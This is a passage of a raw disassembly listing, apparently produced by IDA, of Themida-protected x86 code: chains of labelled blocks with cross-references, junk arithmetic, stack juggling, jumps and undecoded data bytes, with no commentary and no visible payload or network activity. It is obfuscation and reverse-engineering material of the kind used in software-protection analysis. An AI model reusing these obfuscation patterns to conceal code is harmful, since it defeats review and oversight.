		jmp	loc_5993B8
; ---------------------------------------------------------------------------


loc_5AABE8:				; CODE XREF: Themida_:loc_598926j
		add	ebx, 29380598h
		jmp	loc_5AE8EA
; ---------------------------------------------------------------------------


loc_5AABF3:				; CODE XREF: Themida_:0059BB3Dj
		or	eax, eax
		jz	loc_59E5A8
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_59C904
; ---------------------------------------------------------------------------


loc_5AAC09:				; CODE XREF: Themida_:005AC6A4j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5AD2BE
; ---------------------------------------------------------------------------


loc_5AAC15:				; CODE XREF: Themida_:005AEBDCj
		pop	ebx
		jmp	loc_5AA173
; ---------------------------------------------------------------------------


loc_5AAC1B:				; CODE XREF: Themida_:005A220Dj
		mov	[esp], eax
		mov	eax, 4
		sub	ecx, eax
		mov	eax, [esp]
		jmp	loc_5AAC48
; ---------------------------------------------------------------------------


loc_5AAC2D:				; CODE XREF: Themida_:005AE0B8j
		sub	eax, 7324145Eh
		shr	eax, 6
		jmp	loc_59E4E5
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0E9243487h, 0FFFF01D4h
; ---------------------------------------------------------------------------


loc_5AAC48:				; CODE XREF: Themida_:005AAC28j
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5A79E0
; ---------------------------------------------------------------------------


loc_5AAC5F:				; CODE XREF: Themida_:loc_5A0B2Bj
					; Themida_:005AC7A4j
		add	esi, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 4
		sub	esi, 38682825h
		add	esi, 374959D1h
		add	esi, ecx
		sub	esi, 374959D1h
		jmp	loc_5AEC85
; ---------------------------------------------------------------------------


loc_5AAC98:				; CODE XREF: Themida_:005A1E29j
		sub	esi, edi
		pop	edi
		sub	esi, 0EEF9C67Eh
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5AA501
; ---------------------------------------------------------------------------
		db 0C0h, 0E2h, 8
		dd 886FC280h, 24148BD4h, 0E904C483h, 0FFFEF4ABh, 3D2BA2BFh
		dd 8F0F4F33h, 0FFFF733Bh, 847E9h, 0E9D78900h, 0FFFFDCCCh
		db 54h
; ---------------------------------------------------------------------------


loc_5AACD9:				; CODE XREF: Themida_:005ADBCDj
		mov	edi, 24E16650h
		xor	edi, edx
		pop	edx
		inc	edi
		xor	edi, 6EA738CDh
		xor	edi, 1ED028EDh
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59F732
; ---------------------------------------------------------------------------
		db 31h
		dd 35E92434h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAD03:				; CODE XREF: Themida_:005AF296j
		inc	edx
		jle	loc_5992AB
		jmp	loc_5AEF51
; ---------------------------------------------------------------------------
		db 68h
		dd 77AAh, 0BB240C89h, 49D506D1h, 0E1AAE943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAD22:				; CODE XREF: Themida_:0059BB6Cj
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, ebx
		pop	ebx
		sub	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		add	ecx, 2C4D215Dh
		jmp	loc_5AECC9
; ---------------------------------------------------------------------------


loc_5AAD55:				; CODE XREF: Themida_:005A64C4j
		jmp	loc_5A87D8
; ---------------------------------------------------------------------------
		dw 8155h
		dd 4ECh, 24148900h, 5D097F68h, 24148B4Ah, 5004C483h, 70E6F8B8h
		dd 58C2293Dh, 0FFDBB0E9h, 2C8158FFh, 8395424h, 2404295Dh
		dd 54240481h, 0E95D0839h, 0FFFFECD9h
; ---------------------------------------------------------------------------


loc_5AAD94:				; CODE XREF: Themida_:005A1F45j
		and	eax, 5A522592h
		jmp	loc_5AEDE2
; ---------------------------------------------------------------------------


loc_5AAD9E:				; CODE XREF: Themida_:005A6C51j
		jp	loc_5A8090
		shr	ebx, 3
		sub	ebx, 0FFFFFFFFh
		push	eax
		mov	bh, 6Ah
		mov	bl, 9Dh


loc_5AADAF:				; CODE XREF: Themida_:005A1FD3j
		and	edi, 48F8237Ah
		push	eax
		jmp	loc_599DA3
; ---------------------------------------------------------------------------


loc_5AADBB:				; CODE XREF: Themida_:005A2AEBj
		add	ebp, 6CCD6A74h
		add	ebp, ecx
		sub	ebp, 6CCD6A74h
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	dword ptr [esp], 11DE6264h
		push	ecx
		mov	ecx, 7F1A7AD7h
		push	ebx
		mov	ebx, 1ABD5205h
		jmp	loc_59E454
; ---------------------------------------------------------------------------
		dw 83ADh
		dd 0C8904ECh, 86BB924h,	0E95575D0h, 0FFFF6218h
; ---------------------------------------------------------------------------


loc_5AADF8:				; CODE XREF: Themida_:0059CA07j
		push	edx
		jmp	loc_59C444
; ---------------------------------------------------------------------------


loc_5AADFE:				; CODE XREF: Themida_:005986DAj
		push	edx
		xor	dword ptr [esp], 1DBA43BEh
		pop	esi
		push	edi
		mov	edi, 1DBA43BEh
		xor	esi, edi
		pop	edi
		jmp	loc_59ED82
; ---------------------------------------------------------------------------


loc_5AAE15:				; CODE XREF: Themida_:005A8D15j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_59B54F
; ---------------------------------------------------------------------------


loc_5AAE24:				; CODE XREF: Themida_:0059CF6Bj
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5AE244
; ---------------------------------------------------------------------------
		dw 87B9h
		dd 89331E6Dh, 0C6DBE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAE4A:				; CODE XREF: Themida_:005A2F74j
		not	dl
		jmp	loc_59D80E
; ---------------------------------------------------------------------------


loc_5AAE51:				; CODE XREF: Themida_:0059EF1Fj
					; Themida_:loc_5A59A4j
		push	eax
		mov	eax, 15054CDCh
		mov	ebp, 1873E45Ah
		jmp	loc_59F7D9
; ---------------------------------------------------------------------------
		db 5Eh,	55h, 0BDh
		dd 175A57F8h, 5615F581h, 0EB29496Bh, 81C3015Dh,	3101EDC3h
		dd 24048B5Eh, 6804C483h, 2B04h,	0FF19E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AAE89:				; CODE XREF: Themida_:005A8162j
		sub	[esp+4], eax
		add	dword ptr [esp+4], 338B2AF5h
		jmp	loc_59A142
; ---------------------------------------------------------------------------


loc_5AAE9A:				; CODE XREF: Themida_:0059B425j
		sub	edi, 0C7541FFh
		add	edi, 47F71E96h
		push	ecx
		mov	ecx, 3736BEDh
		xor	ecx, 0E17CAEF7h
		sub	edi, ecx
		pop	ecx
		jmp	loc_5A0A4B
; ---------------------------------------------------------------------------


loc_5AAEBA:				; CODE XREF: Themida_:005ACCF5j
		add	ecx, 2CC214F6h
		sub	ecx, edx
		sub	ecx, 2CC214F6h
		jmp	loc_5A3A31
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4C7h, 243C8700h, 77AA685Ch, 48E90000h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAEE7:				; CODE XREF: Themida_:005A7C63j
		sub	[esp], bl
		mov	bl, [esp]
		jmp	loc_59E29B
; ---------------------------------------------------------------------------


loc_5AAEF2:				; CODE XREF: Themida_:005AD344j
		xchg	ecx, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5A5B2B
; ---------------------------------------------------------------------------


loc_5AAF04:				; CODE XREF: Themida_:005A01FEj
		pop	edx
		jmp	loc_5AE59C
; ---------------------------------------------------------------------------


loc_5AAF0A:				; CODE XREF: Themida_:005A710Dj
					; Themida_:005AF0A0j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	7D02h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5ABC1E
; ---------------------------------------------------------------------------


loc_5AAF34:				; CODE XREF: Themida_:005A5BFBj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A1701
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0C104C483h, 850F03EAh, 0FFFF5B69h, 146FF281h, 4AE91009h
		dd 81FFFFBDh, 4C3h, 4C38300h, 5C241C87h, 66DD3166h, 0EE89665Bh
		dd 0FEE898E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AAF7D:				; CODE XREF: Themida_:005AC264j
		jmp	loc_5A3333
; ---------------------------------------------------------------------------


loc_5AAF82:				; CODE XREF: Themida_:005A5406j
		pop	eax
		jmp	loc_59E880
; ---------------------------------------------------------------------------


loc_5AAF88:				; CODE XREF: Themida_:0059BC2Bj
		push	6D38h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 1754247Ch
		sub	ebp, 4FAE2912h
		sub	ebp, 0C7A5FB68h
		push	ebp
		xor	dword ptr [esp], 28A906D2h
		pop	ecx
		xor	ecx, 28A906D2h
		pop	ebp
		sub	ebp, 13935AFFh
		add	ebp, ecx
		add	ebp, 13935AFFh
		push	dword ptr [esp]
		pop	ecx
		push	4461h
		jmp	loc_59C5DC
; ---------------------------------------------------------------------------


loc_5AAFCE:				; CODE XREF: Themida_:005ADA1Ej
		mov	ebx, [esp]
		add	esp, 4


loc_5AAFD4:				; CODE XREF: Themida_:0059B23Cj
		push	5856h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_59FB2C
; ---------------------------------------------------------------------------


loc_5AAFE4:				; CODE XREF: Themida_:loc_5A7920j
		or	dh, 6Eh
		jb	loc_5ACFFD
		jmp	loc_5A0BFD
; ---------------------------------------------------------------------------


loc_5AAFF2:				; CODE XREF: Themida_:005A43F5j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 7C0445CAh
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	1581h
		mov	[esp], eax
		mov	eax, 24h
		add	eax, edi
		jmp	loc_59D95F
; ---------------------------------------------------------------------------


loc_5AB03D:				; CODE XREF: Themida_:00599550j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5A034B
; ---------------------------------------------------------------------------
		db 68h
		dd 231A1DBAh, 3E70E9h
		db 0
; ---------------------------------------------------------------------------


loc_5AB055:				; CODE XREF: Themida_:005A4617j
		xor	esi, 0D65F552h
		sub	ebp, esi
		pop	esi
		jmp	loc_5A9FFF
; ---------------------------------------------------------------------------


loc_5AB063:				; CODE XREF: Themida_:00599588j
		push	cx
		jmp	loc_598B92
; ---------------------------------------------------------------------------


loc_5AB06A:				; CODE XREF: Themida_:005AA66Cj
		mov	edi, 58D2501Eh
		sub	eax, 2AE760F7h
		add	eax, edi
		add	eax, 2AE760F7h
		mov	edi, [esp]
		jmp	loc_59C050
; ---------------------------------------------------------------------------


loc_5AB083:				; CODE XREF: Themida_:00598968j
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_5A35D1
; ---------------------------------------------------------------------------
		dw 4D2h
		dd 0FFE99C24h, 81FFFFF3h, 0BD9763EEh, 5EF189CBh, 0FFE2A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB0A9:				; CODE XREF: Themida_:0059D535j
		shr	ebp, 6
		not	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 64B77307h
		xor	ebp, edi
		pop	edi
		add	ebp, 0A10FFB03h
		add	eax, 33325D3Eh
		add	eax, ebp
		sub	eax, 33325D3Eh
		jmp	loc_5AA7F9
; ---------------------------------------------------------------------------
		dw 5353h
		dd 0C381E389h, 4, 4417E9h
		db 0
; ---------------------------------------------------------------------------


loc_5AB0E5:				; CODE XREF: Themida_:loc_5A462Fj
					; Themida_:005A7EDAj
		mov	ecx, 7C2F43EDh
		jmp	loc_5A12E5
; ---------------------------------------------------------------------------


loc_5AB0EF:				; CODE XREF: Themida_:005AD7B8j
		mov	[esp], edi
		push	esi
		mov	esi, 738F470Ah
		add	esi, 8C70B8F8h
		mov	edi, esi
		jmp	loc_5AA2EF
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FEFE56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB10D:				; CODE XREF: Themida_:005AE7ECj
		inc	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	324Eh
		mov	[esp], eax
		mov	eax, 359E6Ch
		sub	esi, eax
		pop	eax
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_5ADE6B
; ---------------------------------------------------------------------------


loc_5AB144:				; CODE XREF: Themida_:005AB6BFj
		pop	esp
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_59D4CC
; ---------------------------------------------------------------------------
		dw 2D59h
		dd 274B14E4h, 5358C301h, 42474FFh, 0E92434FFh, 0FFFF186Bh
		dd 5505E7C1h, 0BB702CBDh, 31A7E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB176:				; CODE XREF: Themida_:005A5DECj
		add	esp, 4
		mov	ecx, edx
		pop	edx
		sub	ecx, 4FD41267h
		push	ecx
		mov	ecx, 2DDE3A56h
		jmp	loc_59F05E
; ---------------------------------------------------------------------------


loc_5AB190:				; CODE XREF: Themida_:005A1E99j
					; Themida_:005AC5FDj
		push	edi
		mov	edi, 0EE77D35h
		and	edi, 28872078h
		jnp	loc_5A0728
		jmp	loc_5AC3DC
; ---------------------------------------------------------------------------
		db 52h
		dd 2687BD55h, 0FBBA2A0Bh, 1137A18h, 0D751E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB1BA:				; CODE XREF: Themida_:005AE23Fj
		pop	ebp
		jmp	loc_5A4EEE
; ---------------------------------------------------------------------------


loc_5AB1C0:				; CODE XREF: Themida_:loc_5A625Cj
		jmp	loc_5A3697
; ---------------------------------------------------------------------------


loc_5AB1C5:				; CODE XREF: Themida_:00598EFEj
		mov	eax, ecx
		pop	ecx
		sub	ecx, eax
		jmp	loc_5A6CBE
; ---------------------------------------------------------------------------


loc_5AB1CF:				; CODE XREF: Themida_:005AD0B7j
		add	esp, 4
		add	esp, 4
		shr	ecx, 2
		sub	esp, 4
		jmp	loc_5A1B3D
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4BF5704h, 1000000h, 0F6C6E9FBh, 0CB8FFFFh, 163ED1Dh
		dd 0EB0158C3h, 1D0CEB81h, 0E95D63EDh, 32E0h
; ---------------------------------------------------------------------------


loc_5AB20C:				; CODE XREF: Themida_:0059D116j
					; Themida_:005A6AEEj
		pop	eax
		push	esi
		mov	esi, 460E59F4h
		add	edx, esi
		pop	esi
		add	edx, edi
		push	ecx
		mov	ecx, 2F8F1A5Bh
		push	ecx
		jmp	loc_5A3DC0
; ---------------------------------------------------------------------------


loc_5AB224:				; CODE XREF: Themida_:0059B279j
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_5A9F35
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 0F7418FBh, 0FF6570E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB23D:				; CODE XREF: Themida_:005A8740j
		push	eax
		push	ecx
		mov	cl, 36h
		mov	al, cl
		pop	ecx
		shl	al, 1
		xor	al, 0A9h
		sub	bl, al
		pop	eax
		add	bl, 0A7h
		jmp	loc_5996DB
; ---------------------------------------------------------------------------


loc_5AB253:				; CODE XREF: Themida_:00599B05j
		sub	esi, 0FFFF7DFAh
		sub	edi, 6213661Bh
		add	edi, esi
		add	edi, 6213661Bh
		pop	esi
		xchg	edi, [esp]
		jmp	loc_5A7991
; ---------------------------------------------------------------------------


loc_5AB270:				; CODE XREF: Themida_:0059D61Bj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AB275:				; CODE XREF: Themida_:005A2722j
		add	ebp, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A983E
; ---------------------------------------------------------------------------


loc_5AB292:				; CODE XREF: Themida_:0059C7B3j
		mov	al, dl
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		mov	al, bl
		pop	ebx
		push	ebx
		mov	bh, al
		mov	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A525F
; ---------------------------------------------------------------------------


loc_5AB2AF:				; CODE XREF: Themida_:005AB432j
		add	esp, 4
		add	edx, ebx
		push	eax
		jmp	loc_5AEB2A
; ---------------------------------------------------------------------------


loc_5AB2BA:				; CODE XREF: Themida_:0059CF87j
					; Themida_:005A111Bj
		add	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_59BD03
; ---------------------------------------------------------------------------


loc_5AB2C7:				; CODE XREF: Themida_:005A04B9j
					; Themida_:005A0A10j
		js	loc_5AF1D5
		xor	ebp, 18604524h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5999DB
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EE8106EEh, 0DCC57E8Ch, 1EE8346h, 0DA8E953h,	0DE01FFFFh
		dd 2434875Bh, 0FF6491E9h, 90EB81FFh, 0E9D4E9EEh, 0FFFEF9A4h
; ---------------------------------------------------------------------------


loc_5AB304:				; CODE XREF: Themida_:005AD743j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A043E
; ---------------------------------------------------------------------------


loc_5AB318:				; CODE XREF: Themida_:0059C522j
		shl	eax, 7
		jmp	loc_59DE57
; ---------------------------------------------------------------------------


loc_5AB320:				; CODE XREF: Themida_:005A99F4j
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8B2434FFh, 0C4812404h, 4, 55E68956h,	4BDh, 5DEE0100h
		dd 0FFD733E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB35D:				; CODE XREF: Themida_:005A882Aj
		mov	[esp], ebp
		mov	ebp, 619B158Ah
		and	ebp, 747425ADh
		xor	ebp, 7D484F08h
		sub	ebp, 0E1F19B8Bh
		xor	ebx, ebp
		pop	ebp
		add	ebp, ebx
		pop	ebx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_59CE12
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59F5C4
; ---------------------------------------------------------------------------


loc_5AB394:				; CODE XREF: Themida_:005AC32Dj
		jmp	loc_5A5587
; ---------------------------------------------------------------------------


loc_5AB399:				; CODE XREF: Themida_:005A0210j
		push	bx
		mov	bh, 53h
		jmp	loc_5AEFC8
; ---------------------------------------------------------------------------


loc_5AB3A2:				; CODE XREF: Themida_:005A3289j
		jmp	loc_59FF56
; ---------------------------------------------------------------------------
		db 0F6h
		dd 6E8C0D0h, 0E9E9C0FEh
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB3B3:				; CODE XREF: Themida_:005A08F7j
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 3DCD6FA2h
		jnb	loc_59CBB0
		xor	edx, 0A7E79CDEh
		mov	ecx, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5A51B2
; ---------------------------------------------------------------------------


loc_5AB3E5:				; CODE XREF: Themida_:005A029Ej
		mov	edi, 0FFFFFFFFh
		add	ebx, 47ED53A3h
		jmp	loc_5A697C
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0E904C483h, 0FFFFDE23h
; ---------------------------------------------------------------------------


loc_5AB400:				; CODE XREF: Themida_:005A1982j
		push	ebx
		mov	ebx, 4
		jmp	loc_5A6C15
; ---------------------------------------------------------------------------


loc_5AB40B:				; CODE XREF: Themida_:0059D3D6j
		push	ebx
		jmp	loc_5A0DEA
; ---------------------------------------------------------------------------


loc_5AB411:				; CODE XREF: Themida_:005ABA90j
		mov	[esp], esi
		jmp	loc_59AC69
; ---------------------------------------------------------------------------


loc_5AB419:				; CODE XREF: Themida_:005A61B9j
		mov	edi, [esp]
		jmp	loc_5A9EC8
; ---------------------------------------------------------------------------


loc_5AB421:				; CODE XREF: Themida_:005A5D43j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0
		mov	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5AB2AF
; ---------------------------------------------------------------------------


loc_5AB437:				; CODE XREF: Themida_:005A774Cj
		xchg	ebx, edi
		sub	edi, 93DF9AF7h
		jmp	loc_59FF4E
; ---------------------------------------------------------------------------


loc_5AB444:				; CODE XREF: Themida_:loc_5AEC18j
		push	ebp
		mov	ebp, 54696268h
		jmp	loc_5ABBAC
; ---------------------------------------------------------------------------


loc_5AB44F:				; CODE XREF: Themida_:005A2917j
		dec	ebx
		xor	ebx, 0B01E19D3h
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A3B01
; ---------------------------------------------------------------------------
		db 30h
		dd 505866C7h, 0FA0467B0h, 925B880Fh, 0C886FFFFh, 8852D1F6h
		dd 88C188CAh, 0C0FE5AD0h, 0F1628E0Fh, 0D2E9FFFEh, 0F7FFFEFDh
		dd 56434BDBh
; ---------------------------------------------------------------------------


loc_5AB490:				; CODE XREF: Themida_:005AA185j
		pop	cx
		shl	bh, 4
		jmp	loc_5A0D6F
; ---------------------------------------------------------------------------


loc_5AB49A:				; CODE XREF: Themida_:0059D813j
					; Themida_:005A077Ej
		sub	edi, 4DDF669Eh
		jmp	loc_5ABEE5
; ---------------------------------------------------------------------------


loc_5AB4A5:				; CODE XREF: Themida_:005AB6CEj
		pop	ebp
		jmp	loc_5A128E
; ---------------------------------------------------------------------------


loc_5AB4AB:				; CODE XREF: Themida_:005A13BAj
					; Themida_:005A46C8j
		mov	esp, [esp]
		movsx	cx, al
		push	small 72h
		mov	[esp], cx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AB4BF:				; CODE XREF: Themida_:005A7617j
		shl	edx, 2
		xor	edx, 0B0FF7D90h
		sub	edi, edx
		pop	edx
		jmp	loc_59963E
; ---------------------------------------------------------------------------
		dd 4887BA52h, 0D0211AE5h, 1762D5Ah, 6805201Fh, 17FF121h
		dd 0EC8158C1h, 4, 52243C89h, 0FF058FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB4F5:				; CODE XREF: Themida_:005A1DE3j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_59888D
; ---------------------------------------------------------------------------


loc_5AB518:				; CODE XREF: Themida_:0059B872j
		sub	eax, 1B473FF8h
		add	eax, ebx
		add	eax, 1B473FF8h
		pop	ebx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2C74624Bh
		jmp	loc_5AD07A
; ---------------------------------------------------------------------------


loc_5AB546:				; CODE XREF: Themida_:005ABC86j
		push	288Ah
		jmp	loc_59D6A0
; ---------------------------------------------------------------------------


loc_5AB550:				; CODE XREF: Themida_:005AF053j
		sub	dh, 91h
		add	bl, dh
		pop	edx
		add	cl, bl
		jmp	loc_59C673
; ---------------------------------------------------------------------------
		db 5Fh,	29h, 0FAh
		dd 1644EA81h, 0E95F6200h, 0FFFF4E37h
; ---------------------------------------------------------------------------


loc_5AB56C:				; CODE XREF: Themida_:005AC4EDj
		mov	eax, 6DD62C4Ah
		xor	eax, edi
		pop	edi
		push	eax
		pop	ecx
		pop	eax
		shl	ecx, 8
		jmp	loc_59A872
; ---------------------------------------------------------------------------
		db 89h
		dd 4EC83E7h, 89240C89h,	4C181E1h, 68000000h, 62C3h, 0FFF682E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB599:				; CODE XREF: Themida_:005A9C8Bj
		add	esp, 4
		add	eax, 52CD0276h
		sub	eax, 4E34299Fh
		sub	eax, ebx
		add	eax, 4E34299Fh
		sub	eax, 52CD0276h
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5A663A
; ---------------------------------------------------------------------------


loc_5AB5C6:				; CODE XREF: Themida_:loc_59B8F5j
		sub	eax, 0E67B9BB1h
		jmp	loc_5ACCFA
; ---------------------------------------------------------------------------


loc_5AB5D0:				; CODE XREF: Themida_:005A0E68j
		mov	esi, 0C566FF0h
		and	esi, 728547F4h
		not	esi
		add	esi, 3F110493h
		xor	esi, 1071CA4Eh
		jmp	loc_5AA040
; ---------------------------------------------------------------------------


loc_5AB5EE:				; CODE XREF: Themida_:005A079Bj
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5ABD43
; ---------------------------------------------------------------------------
		dd 5966CF28h, 0B2525066h, 8BD4888Eh, 0C4832414h, 0E9E72004h
		dd 0FFFF662Ah
; ---------------------------------------------------------------------------


loc_5AB614:				; CODE XREF: Themida_:0059B8FEj
		mov	edi, 622B0BF6h
		push	5ED2h
		mov	[esp], edx
		mov	edx, 125E5A01h
		push	ebx
		mov	ebx, 3DD44C38h
		add	edx, ebx
		pop	ebx
		jmp	loc_5AEFED
; ---------------------------------------------------------------------------


loc_5AB634:				; CODE XREF: Themida_:005A46B6j
		dec	al
		jmp	loc_5A46C3
; ---------------------------------------------------------------------------


loc_5AB63B:				; CODE XREF: Themida_:00599C66j
		shr	esi, 7
		jnp	loc_5AA82A
		add	esi, 210C7189h
		jmp	loc_59EC83
; ---------------------------------------------------------------------------
aPirhX_0	db 'P‰ΰh$x',0
		dw 8900h
		dd 39E92414h, 0E9000012h, 0FFFECD28h
; ---------------------------------------------------------------------------


loc_5AB664:				; CODE XREF: Themida_:0059E442j
		mov	[esp], eax
		push	ebx
		mov	bl, 1Fh
		mov	ah, bl
		pop	ebx
		jmp	loc_5A8817
; ---------------------------------------------------------------------------


loc_5AB672:				; CODE XREF: Themida_:00598ACDj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFD7BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB681:				; CODE XREF: Themida_:0059F527j
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	67725F0h
		pop	ebp
		jmp	loc_5AAB5E
; ---------------------------------------------------------------------------


loc_5AB6AA:				; CODE XREF: Themida_:005A51D7j
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_5A9E49
; ---------------------------------------------------------------------------


loc_5AB6B3:				; CODE XREF: Themida_:0059BAB2j
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5AB144
; ---------------------------------------------------------------------------


loc_5AB6C4:				; CODE XREF: Themida_:005A3D37j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5AB4A5
; ---------------------------------------------------------------------------


loc_5AB6D3:				; CODE XREF: Themida_:005ACE04j
		add	ecx, ebp
		push	eax
		mov	eax, 51FF0149h
		jmp	loc_5AE0CB
; ---------------------------------------------------------------------------


loc_5AB6E0:				; CODE XREF: Themida_:005A8D8Dj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5A211E
; ---------------------------------------------------------------------------


loc_5AB6EE:				; CODE XREF: Themida_:005A81D4j
		jbe	loc_5A6BB0
		xor	edx, 4A9E9949h
		push	6660h
		jmp	loc_5A5162
; ---------------------------------------------------------------------------


loc_5AB704:				; CODE XREF: Themida_:005A7477j
					; Themida_:005ADB09j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dd 8324348Ah, 0B05004C4h, 58C6206Dh, 8071EE80h,	0D7E945C5h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB72B:				; CODE XREF: Themida_:005A8E20j
		xor	al, ch
		pop	ecx
		push	small 3940h
		mov	[esp], cx
		sub	esp, 4
		jmp	loc_5989A6
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 59660000h, 0F02EFC0h, 392684h, 0F3D6E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB75A:				; CODE XREF: Themida_:005A5E5Dj
		mov	ecx, [esp]
		jmp	loc_5AA25B
; ---------------------------------------------------------------------------


